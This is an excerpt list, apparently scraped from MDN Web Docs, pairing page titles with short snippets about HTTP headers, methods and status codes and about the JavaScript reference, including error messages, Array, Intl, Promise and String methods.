specifications specification status comment fetch living standard initial definition ...
DNT - HTTP
WebHTTPHeadersDNT
examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
Device-Memory - HTTP
accept-ch: device-memory accept-ch-lifetime: 86400 then on subsequent requests the client might send device-memory header back: device-memory: 1 specifications specification status comment device memory 1the definition of 'device-memory' in that specification.
Feature-Policy: ambient-light-sensor - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: autoplay - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: camera - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: display-capture - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: document-domain - HTTP
specifications specification status comment html living standardthe definition of 'document-domain' in that specification.
Feature-Policy: fullscreen - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: geolocation - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: gyroscope - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: layout-animations - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: legacy-image-formats - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: magnetometer - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: microphone - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: midi - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: oversized-images - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: payment - HTTP
specifications specification status comment payment request api candidate recommendation see section 16.
Feature-Policy: picture-in-picture - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: publickey-credentials-get - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: screen-wake-lock - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: sync-xhr - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: unoptimized-images - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: unsized-media - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: usb - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: vibrate - HTTP
specifications specification status comment feature policy editor's draft initial definition.
web-share - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: xr-spatial-tracking - HTTP
specifications specification status comment webxr device apithe definition of 'permissions policy' in that specification.
Forwarded - HTTP
examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # multiple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwarded header, the x-forwarded-for header can be replaced.
If-Match - HTTP
WebHTTPHeadersIf-Match
there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the new ranges requested comes from the same resource than the previous one.
If-Modified-Since - HTTP
the most common use case is to update a cached entity that has no associated etag.
If-None-Match - HTTP
there are two common use cases: for get and head methods, to update a cached entity that has an associated etag.
If-Range - HTTP
WebHTTPHeadersIf-Range
the most common use case is to resume a download, to guarantee that the stored resource has not been modified since the last fragment has been received.
If-Unmodified-Since - HTTP
there are two common use cases: in conjunction with non-safe methods, like post, it can be used to implement an optimistic concurrency control, like done by some wikis: editions are rejected if the stored document has been modified since the original has been retrieved.
Keep-Alive - HTTP
header type general header forbidden header name yes syntax keep-alive: parameters directives parameters a comma-separated list of parameters, each consisting of an identifier and a value separated by the equal sign ('=').
Link - HTTP
WebHTTPHeadersLink
examples the uri (absolute or relative) must be enclosed between < and >: link: <https://example.com>; rel="preconnect" link: https://bad.example; rel="preconnect" specifying multiple links you can specify multiple links separated by commas, for example: link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect" specifications specification status comments rfc 8288, section 3: link serialisation in http headers ietf rfc rfc 5988, section 5: the link header field ietf rfc initial definition ...
Origin - HTTP
WebHTTPHeadersOrigin
examples origin: https://developer.mozilla.org specifications specification comment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification.
Proxy-Authenticate - HTTP
a common type is "basic".
Proxy-Authorization - HTTP
a common type is "basic".
Public-Key-Pins - HTTP
the use of backup certificates and/or pinning the ca certificate is recommended.
Referrer-Policy - HTTP
le.com/otherpage https://example.com/page https://mozilla.org https://example.com/ http://example.org (no referrer) unsafe-url https://example.com/page?q=123 anywhere https://example.com/page?q=123 specifying a fallback policy if you want to specify a fallback policy in any case the desired policy hasn't got wide enough browser support, use a comma-separated list with the desired policy specified last: referrer-policy: no-referrer, strict-origin-when-cross-origin in the above scenario, no-referrer will only be used if strict-origin-when-cross-origin is not supported by the browser.
Save-Data - HTTP
a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
Vary - HTTP
WebHTTPHeadersVary
<header-name> a comma-separated list of header names to take into account when deciding whether or not a cached response can be used.
WWW-Authenticate - HTTP
a common type is "basic".
X-Content-Type-Options - HTTP
pt" and the mime type is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-content-type-options definition' in that specification.
X-XSS-Protection - HTTP
chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter this means that if you do not need to support legacy browsers, it is recommended that you use content-security-policy without allowing unsafe-inline scripts instead.
CONNECT - HTTP
WebHTTPMethodsCONNECT
the http connect method starts two-way communications with the requested resource.
POST - HTTP
WebHTTPMethodsPOST
ltipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7231, section 4.3.3: post hypertext transfer protocol (http/1.1): semantics and content rfc 2046, section 5.1.1: common syntax multipurpose internet mail extensions (mime) part two: media types ...
HTTP range requests - HTTP
the ranges are separated by a comma.
A typical HTTP session - HTTP
WebHTTPSession
the most common requests are get and post: the get method requests a data representation of the specified resource.
103 Early Hints - HTTP
WebHTTPStatus103
syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data.
201 Created - HTTP
WebHTTPStatus201
the common use case of this status code is as the result of a post request.
202 Accepted - HTTP
WebHTTPStatus202
202 is non-committal, meaning that there is no way for the http to later send an asynchronous response indicating the outcome of processing the request.
204 No Content - HTTP
WebHTTPStatus204
the common use case is to return 204 as a result of a put request, updating a resource, without changing the current content of the page displayed to the user.
301 Moved Permanently - HTTP
WebHTTPStatus301
it is therefore recommended to use the 301 code only as a response for get or head methods and to use the 308 permanent redirect for post methods instead, as the method change is explicitly prohibited with this status.
302 Found - HTTP
WebHTTPStatus302
it is therefore recommended to set the 302 code only as a response for get or head methods and to use 307 temporary redirect instead, as the method change is explicitly prohibited in that case.
503 Service Unavailable - HTTP
WebHTTPStatus503
common causes are a server that is down for maintenance or that is overloaded.
Details of the object model - JavaScript
summary of differences the following table gives a short summary of some of these differences.
Indexed collections - JavaScript
writing 0 empties it entirely: let cats = ['dusty', 'misty', 'twiggy'] console.log(cats.length) // 3 cats.length = 2 console.log(cats) // logs "dusty, misty" - twiggy has been removed cats.length = 0 console.log(cats) // logs []; the cats array is empty cats.length = 3 console.log(cats) // logs [ <3 empty items> ] iterating over arrays a common operation is to iterate over the values of an array, processing each one in some way.
Loops and iteration - JavaScript
when you use break without a label, it terminates the innermost enclosing while, do-while, for, or switch immediately and transfers control to the following statement.
Quantifiers - JavaScript
for example, /e?le?/ matches the "el" in "angel" and the "le" in "angle." if used immediately after any of the quantifiers *, +, ?, or {}, makes the quantifier non-greedy (matching the minimum number of times), as opposed to the default, which is greedy (matching the maximum number of times).
JavaScript language resources - JavaScript
fication ecma-262 9th edition pdf, html, working draft, repository 2018 ecmascript 2018 language specification ecma-402 5th edition working draft, repository 2018 ecmascript 2018 internationalization api specification obsolete/historical editions ecma-262 pdf june 1997 ecmascript: a general purpose, cross-platform programming language.
About the JavaScript reference - JavaScript
more reference pages deprecated and obsolete features lexical grammar data types and data structures ...
Public class fields - JavaScript
both public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee.
Classes - JavaScript
width) { this.height = height; this.width = width; } } static (class-side) data properties and prototype data properties must be defined outside of the classbody declaration: rectangle.staticwidth = 20; rectangle.prototype.prototypewidth = 25; field declarations public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee.
Deprecated and obsolete features - JavaScript
string.prototype.substr probably won't be removed anytime soon, but it's defined in annex b of the ecma-262 standard, whose introduction states: "… programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
Warning: 08/09 is not a legal ECMA-262 octal constant - JavaScript
see the page about lexical grammar for more information.
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
examples attempting to delete non-configurable properties non-configurable properties are not super common, but they can be created using object.defineproperty() or object.freeze().
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
unlike what common belief suggests, the delete operator has nothing to do with directly freeing memory.
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
for example, do not use the following code: if (x = y) { // do the right thing } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses around the assignment.
SyntaxError: JSON.parse: bad parsing - JavaScript
examples json.parse() does not allow trailing commas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'fo...
SyntaxError: Malformed formal parameter - JavaScript
examples invalid cases var f = function('x y', 'return x + y;'); // syntaxerror (missing a comma) var f = function('x,', 'return x;'); // syntaxerror (extraneous comma) var f = function(37, "alert('ok')"); // syntaxerror (numbers can't be argument names) valid cases var f = function('x, y', 'return x + y;'); // correctly punctuated var f = function('x', 'return x;'); // if you can, avoid using function - this is much faster var f = function(x) { return x; }; ...
SyntaxError: missing name after . operator - JavaScript
concatenation if you are coming from another programming language (like php), it is also easy to mix up the dot operator (.) and the concatenation operator (+).
SyntaxError: missing ; before statement - JavaScript
var obj = {}; var obj.foo = 'hi'; // syntaxerror missing ; before statement var array = []; var array[0] = 'there'; // syntaxerror missing ; before statement instead, omit the var keyword: var obj = {}; obj.foo = 'hi'; var array = []; array[0] = 'there'; bad keywords if you come from another programming language, it is also common to use keywords that don't mean the same or have no meaning at all in javascript: def print(info){ console.log(info); }; // syntaxerror missing ; before statement instead, use function instead of def: function print(info){ console.log(info); }; ...
TypeError: "x" is not a constructor - JavaScript
to do this, you would write the following function: function car(make, model, year) { this.make = make; this.model = model; this.year = year; } now you can create an object called mycar as follows: var mycar = new car('eagle', 'talon tsi', 1993); in promises when returning an immediately-resolved or immediately-rejected promise, you do not need to create a new promise(...) and act on it.
Error: Permission denied to access property "x" - JavaScript
examples no permission to access document <!doctype html> <html> <head> <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe> <script> onload = function() { console.log(frames[0].document); // error: permission denied to access property "document" } </script> </head> <body></body> </html> ...
TypeError: "x" is read-only - JavaScript
examples invalid cases read-only properties are not super common, but they can be created using object.defineproperty() or object.freeze().
TypeError: Reduce of empty array with no initial value - JavaScript
var ints = [0, -1, -2, -3, -4, -5]; ints.filter(x => x > 0) // removes all elements .reduce((x, y) => x + y, 0) // the initial value is the neutral element of the addition another way would be two to handle the empty case, either before calling reduce, or in the callback after adding an unexpected dummy initial value.
Warning: unreachable code after return statement - JavaScript
warnings will not be shown for semicolon-less returns if these statements follow it: throw break var function examples invalid cases function f() { var x = 3; x += 4; return x; // return exits the function immediately x -= 3; // so this line will never run; it is unreachable } function f() { return // this is treated like `return;` 3 + 4; // so the function returns, and this line is never reached } valid cases function f() { var x = 3; x += 4; x -= 3; return x; // ok: return after all other statements } function f() { return 3 + 4 // ok: semicolon-less return with exp...
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
examples searching in strings unlike in other programming languages (e.g.
Array.prototype.every() - JavaScript
if such an element is found, the every method immediately returns false.
Array.prototype.find() - JavaScript
if so, find immediately returns the value of that element.
Array.prototype.findIndex() - JavaScript
if such an element is found, findindex() immediately returns the element's index.
Array.prototype.forEach() - JavaScript
await sumfunction(sum, rating) }) console.log(sum) // naively expected output: 14 // actual output: 0 examples no operation for uninitialized values (sparse arrays) const arraysparse = [1,3,,7] let numcallbackruns = 0 arraysparse.foreach((element) => { console.log(element) numcallbackruns++ }) console.log("numcallbackruns: ", numcallbackruns) // 1 // 3 // 7 // numcallbackruns: 3 // comment: as you can see the missing value between 3 and 7 didn't invoke callback function.
Array.from() - JavaScript
) // using an arrow function as the map function to // manipulate the elements array.from([1, 2, 3], x => x + x); // [2, 4, 6] // generate a sequence of numbers // since the array is initialized with `undefined` on each position, // the value of `v` below will be `undefined` array.from({length: 5}, (v, i) => i); // [0, 1, 2, 3, 4] sequence generator (range) // sequence generator function (commonly referred to as "range", e.g.
Array.prototype.some() - JavaScript
if such an element is found, some() immediately returns true.
Array.prototype.sort() - JavaScript
var items = ['réservé', 'premier', 'communiqué', 'café', 'adieu', 'éclair']; items.sort(function (a, b) { return a.localecompare(b); }); // items is ['adieu', 'café', 'communiqué', 'éclair', 'premier', 'réservé'] sorting with map the comparefunction can be invoked multiple times per element within the array.
Array.prototype.toString() - JavaScript
for array objects, the tostring method joins the array and returns one string containing each array element separated by commas.
AsyncFunction - JavaScript
each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
BigInt - JavaScript
usage recommendations coercion because coercing between number and bigint can lead to loss of precision, it is recommended to only use bigint when values greater than 253 are reasonably expected and not to coerce between the two types.
Date.prototype[@@toPrimitive] - JavaScript
examples returning date primitives const testdate = new date(1590757517834); // "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('string'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('number'); // returns "1590757517834" testdate[symbol.toprimitive]('default'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" specifications specification ecmascript (ecma-262)the definition of 'da...
Date.prototype.toISOString() - JavaScript
the toisostring() method returns a string in simplified extended iso format (iso 8601), which is always 24 or 27 characters long (yyyy-mm-ddthh:mm:ss.sssz or ±yyyyyy-mm-ddthh:mm:ss.sssz, respectively).
Date.prototype.toString() - JavaScript
date.prototype.tostring() returns a string representation of the date in the format specified in ecma-262 which can be summarised as: week day: 3 letter english week day name, e.g.
Error.prototype.stack - JavaScript
argument values in the stack: prior to firefox 14, the function name would be followed by the argument values converted to string in parentheses immediately before the at (@) sign.
FinalizationRegistry - JavaScript
it's common to use the object itself as the unregister token, which is just fine: registry.register(theobject, "some value", theobject); // ...some time later, if you don't care about `theobject` anymore...
Function() constructor - JavaScript
each must be a string that corresponds to a valid javascript identifier, or a list of such strings separated with a comma.
Function.arguments - JavaScript
the recommended way to access the arguments object available within functions is simply to refer to the variable arguments.
GeneratorFunction - JavaScript
each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
Intl.DateTimeFormat() constructor - JavaScript
possible values are: "long" (e.g., british summer time) "short" (e.g., gmt+1) the default value for each date-time component property is undefined, but if all component properties are undefined, then year, month, and day are assumed to be "numeric".
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
any value), the result will include only the relatedyear: let df = new intl.datetimeformat("zh-u-ca-chinese"); df.formattoparts(date.utc(2012, 11, 17, 3, 0, 42)); // return value [ { type: 'relatedyear', value: '2012' }, { type: 'literal', value: '年' }, { type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] in cases where the year would be output, .format() may commonly present these side-by-side: let df = new intl.datetimeformat("zh-u-ca-chinese", {year: "numeric"}); df.format(date.utc(2012, 11, 17, 3, 0, 42)); // return value 2012壬辰年 this also makes it possible to mix locale and calendar in both format: let df = new intl.datetimeformat("en-u-ca-chinese", {year: "numeric"}); let date = date.utc(2012, 11, 17, 3, 0, 42); df.format(date); // r...
Intl.DisplayNames.prototype.of() - JavaScript
if the type is "language", code should be a languagecode ["-" scriptcode] ["-" regioncode ] *("-" variant ) subsequence of the unicode_language_id grammar in uts 35's unicode language and locale identifiers grammar.
Intl.DisplayNames - JavaScript
// get display names of region in english let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" regionnames.of('bz'); // "belize" regionnames.of('us'); // "united states" regionnames.of('ba'); // "bosnia & herzegovina" regionnames.of('mm'); // "myanmar (burma)" // get display names of region in traditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names to create an intl.displ...
Intl.Locale.prototype.baseName - JavaScript
basename returns the language ["-" script] ["-" region] *("-" variant) subsequence of the unicode_language_id grammar.
Intl.Locale.prototype.calendar - JavaScript
5493 b.c.e) ethiopic ethiopic calendar, amete mihret (epoch approx, 8 c.e.) gregory gregorian calendar hebrew traditional hebrew calendar indian indian calendar islamic islamic calendar islamic-umalqura islamic calendar, umm al-qura islamic-tbla islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - astronomical epoch) islamic-civil islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - civil epoch) islamic-rgsa islamic calendar, saudi arabia sighting iso8601 iso calendar (gregorian calendar using the iso 8601 calendar wee...
Intl.Locale.prototype.hourCycle - JavaScript
the hourcycle property makes it easier for javascript programmers to access the clock type used by a particular locale.
Intl.Locale.prototype.maximize() - JavaScript
this functionality is provided to javascript programmers via the maximize() method.
Intl.Locale.prototype.region - JavaScript
knowing the locale's region helps javascript programmers make sure that the content from their sites and applications is correctly displayed when viewed from different areas of the world.
Intl.NumberFormat - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var number = 123456.789; // german uses comma as decimal separator and period for thousands console.log(new intl.numberformat('de-de').format(number)); // → 123.456,789 // arabic in most arabic speaking countries uses real arabic digits console.log(new intl.numberformat('ar-eg').format(number)); // → ١٢٣٤٥٦٫٧٨٩ // india uses thousands/lakh/crore separators console.log(new intl.numberformat('en-in').format(number)); // → 1,...
Intl.RelativeTimeFormat() constructor - JavaScript
rtf.format(1, "day"); // > "tomorrow" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat()' in that specification.
Intl.RelativeTimeFormat.prototype.format() - JavaScript
rtf.format(1, "day"); // > "tomorrow" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.format()' in that specification.
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
ew intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.formattoparts()' in that specification.
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
examples using the resolvedoptions method var de = new intl.relativetimeformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.style; // "long" usedoptions.numeric; // "always" usedoptions.numberingsystem; // "latn" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.resolvedoptions()' in that specification.
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
const locales = ['ban', 'id-u-co-pinyin', 'de-id']; const options = { localematcher: 'lookup' }; console.log(intl.relativetimeformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.supportedlocalesof()' in that specification.
Intl.RelativeTimeFormat - JavaScript
rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat' in that specification.
Map.prototype.size - JavaScript
examples using size var mymap = new map(); mymap.set('a', 'alpha'); mymap.set('b', 'beta'); mymap.set('g', 'gamma'); mymap.size // 3 specifications specification ecmascript (ecma-262)the definition of 'map.prototype.size' in that specification.
Math.clz32() - JavaScript
now, inversing the bits reveals the lowest bits return 32 - clz(~integer) |0; } function ctron(integer) { // count trailing ones integer = integer | 0; // coerce to an integer return ctrz(~integer) |0; } // unfourtunately, asm.js demands slow crummy objects: return {a: ctrz, b: ctron}; })(window, null, null); var ctrz = counttrailsmethods.a; var ctron = counttrailsmethods.b; polyfill the following polyfill is the most efficient.
Math.max() - JavaScript
getmaxofarray([1, 2, 3]) is equivalent to math.max(1, 2, 3), but you can use getmaxofarray() on programmatically constructed arrays.
Number.isSafeInteger() - JavaScript
see what every programmer needs to know about floating point arithmetic for more information on floating point representations of numbers.
Number.prototype.toLocaleString() - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var number = 123456.789; // german uses comma as decimal separator and period for thousands console.log(number.tolocalestring('de-de')); // → 123.456,789 // arabic in most arabic speaking countries uses eastern arabic digits console.log(number.tolocalestring('ar-eg')); // → ١٢٣٤٥٦٫٧٨٩ // india uses thousands/lakh/crore separators console.log(number.tolocalestring('en-in')); // → 1,23,456.789 // the nu extension key reques...
Object.prototype.__defineGetter__() - JavaScript
examples non-standard and deprecated way var o = {}; o.__definegetter__('gimmefive', function() { return 5; }); console.log(o.gimmefive); // 5 standard-compliant ways // using the get operator var o = { get gimmefive() { return 5; } }; console.log(o.gimmefive); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'gimmefive', { get: function() { return 5; } }); console.log(o.gimmefive); // 5 specifications specification ...
Object.defineProperties() - JavaScript
polyfill assuming a pristine execution environment with all names and properties referring to their initial values, object.defineproperties is almost completely equivalent (note the comment in iscallable) to the following reimplementation in javascript: function defineproperties(obj, properties) { function converttodescriptor(desc) { function hasproperty(obj, prop) { return object.prototype.hasownproperty.call(obj, prop); } function iscallable(v) { // nb: modify as necessary if other values than functions are callable.
Object.defineProperty() - JavaScript
by default, values added using object.defineproperty() are immutable and not enumerable.
Object.setPrototypeOf() - JavaScript
otype; o1st = this.getprototypeof(o2nd) ) { o2nd = o1st; } if (oproto.constructor === string) { onewproto = function.prototype; oreturn = function.apply(null, array.prototype.slice.call(arguments, 1)); this.setprototypeof(oreturn, olast); } this.setprototypeof(o2nd, onewproto); return oreturn; } usage first example: appending a chain to a prototype function mammal() { this.ismammal = 'yes'; } function mammalspecies(smammalspecies) { this.species = smammalspecies; } mammalspecies.prototype = new mammal(); mammalspecies.prototype.constructor = mammalspecies; var ocat = new mammalspecies('felis'); console.log(ocat.ismammal); // 'yes' function animal() { this.breathing = 'yes'; } object.appendchain(ocat, new animal()); console.log(ocat.breathing...
Object.prototype.toLocaleString() - JavaScript
const testarray = [4, 7, 10]; let europrices = testarray.tolocalestring('fr', { style: 'currency', currency: 'eur'}); // "4,00 €,7,00 €,10,00 €" date tolocalestring() override on date objects, tolocalestring() is used to print out date displays more suitable for specific locales: for example: const testdate = new date(date.now()); // "date fri may 29 2020 18:04:24 gmt+0100 (british summer time)" let dedate = testdate.tolocalestring('de'); // "29.5.2020, 18:04:24" var frdate = testdate.tolocalestring('fr'); //"29/05/2020 à 18:04:24" number tolocalestring() override on number objects, tolocalestring() is used to print out number displays more suitable for specific locales, e.g.
Object.prototype.toString() - JavaScript
by using radix you can also convert base 10 numbers (like 1,2,3,4,5,.........) to another base numbers, in example below we are converting base 10 number to a base 2 (binary) number let basetenint = 10; console.log(basetenint.tostring(2)); // expected output is "1010" and same for big integers let bignum = bigint(20); console.log(bignum.tostring(2)); // expected output is "10100" some common radix are 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for hexadecimal numbers.
Promise.allSettled() - JavaScript
in comparison, the promise returned by promise.all() may be more appropriate if the tasks are dependent on each other / if you'd like to immediately reject upon any of them rejecting.
Promise.race() - JavaScript
examples asynchronicity of promise.race this following example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be forever pendin...
Promise.prototype.then() - JavaScript
ed', v); // "resolved", 10 }, function(e) { // not called console.error('rejected', e); }); var p3 = p1.then(function() { // return promise here, that will be rejected with 'error' after 1 second return new promise(rejectlater); }); p3.then(function(v) { // not called console.log('resolved', v); }, function(e) { console.error('rejected', e); // "rejected", 'error' }); window.setimmediate style promise-based polyfill using a function.prototype.bind() reflect.apply (reflect.apply()) method to create a (non-cancellable) window.setimmediate-style function.
RegExp - JavaScript
(perl is the programming language from which javascript modeled its regular expressions.).
String.prototype.concat() - JavaScript
performance it is strongly recommended that the assignment operators (+, +=) are used instead of the concat() method.
String.fromCharCode() - JavaScript
returning supplementary characters in utf-16, the most common characters can be represented by a single 16-bit value (i.e.
String.fromCodePoint() - JavaScript
instead, it requires the utf-16 surrogate pair in order to return a supplementary character: string.fromcharcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcodepoint(), on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte bmp characters, by specifying their code point (which is equivalent to the utf-32 code unit): string.fromcodepoint(0x1f303); // or 127747 in decimal specifications specification ecmascript (ecma-262)the definition of 'string.fromcodepoint' in that specification.
String.prototype.localeCompare() - JavaScript
let items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; items.sort( (a, b) => a.localecompare(b, 'fr', {ignorepunctuation: true})); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé'] check browser support for extended arguments the locales and options arguments are not supported in all browsers yet.
String.prototype.normalize() - JavaScript
let string1 = '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 the normalize() method helps solve this problem by converting a string into a normalized form common for all sequences of code points that represent the same characters.
String.prototype.split() - JavaScript
gtosplit.split(separator) console.log('the original string is: ', stringtosplit) console.log('the separator is: ', separator) console.log('the array has ', arrayofstrings.length, ' elements: ', arrayofstrings.join(' / ')) } const tempeststring = 'oh brave new world that has such people in it.' const monthstring = 'jan,feb,mar,apr,may,jun,jul,aug,sep,oct,nov,dec' const space = ' ' const comma = ',' splitstring(tempeststring, space) splitstring(tempeststring) splitstring(monthstring, comma) this example produces the following output: the original string is: "oh brave new world that has such people in it." the separator is: " " the array has 10 elements: oh / brave / new / world / that / has / such / people / in / it.
String.prototype.toUpperCase() - JavaScript
this method does not affect the value of the string itself since javascript strings are immutable.
TypedArray.prototype.every() - JavaScript
if such an element is found, the every method immediately returns false.
TypedArray.prototype.find() - JavaScript
if such an element is found, find immediately returns the value of that element.
TypedArray.prototype.findIndex() - JavaScript
if such an element is found, findindex immediately returns the index of that element.
TypedArray.prototype.join() - JavaScript
if omitted, the typed array elements are separated with a comma (",").
TypedArray.prototype.some() - JavaScript
if such an element is found, some immediately returns true.
TypedArray.prototype.toLocaleString() - JavaScript
the elements are converted to strings and are separated by a locale-specific string (such as a comma “,”).
TypedArray.prototype.toString() - JavaScript
for typedarray objects, the tostring method joins the array and returns one string containing each typed array element separated by commas.
WeakSet - JavaScript
the number of objects or their traversal order is immaterial, so a weakset is more suitable (and performant) than a set for tracking object references, especially if a very large number of objects is involved.
WebAssembly.Module() constructor - JavaScript
examples synchronously compiling a webassembly module var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.m...
WebAssembly.Module.customSections() - JavaScript
the wast2wasm command available as part of the wabt tool has a --debug-names option — specify this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using customsections the following example (see the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code.
escape() - JavaScript
… … programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
globalThis - JavaScript
this distinction is rarely relevant in common usage, but important to be aware of.
unescape() - JavaScript
… … programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
Conditional (ternary) operator - JavaScript
"beer" : "juice"; console.log(beverage); // "beer" handling null values one common usage is to handle a value that may be null: let greeting = person => { let name = person ?
Destructuring assignment - JavaScript
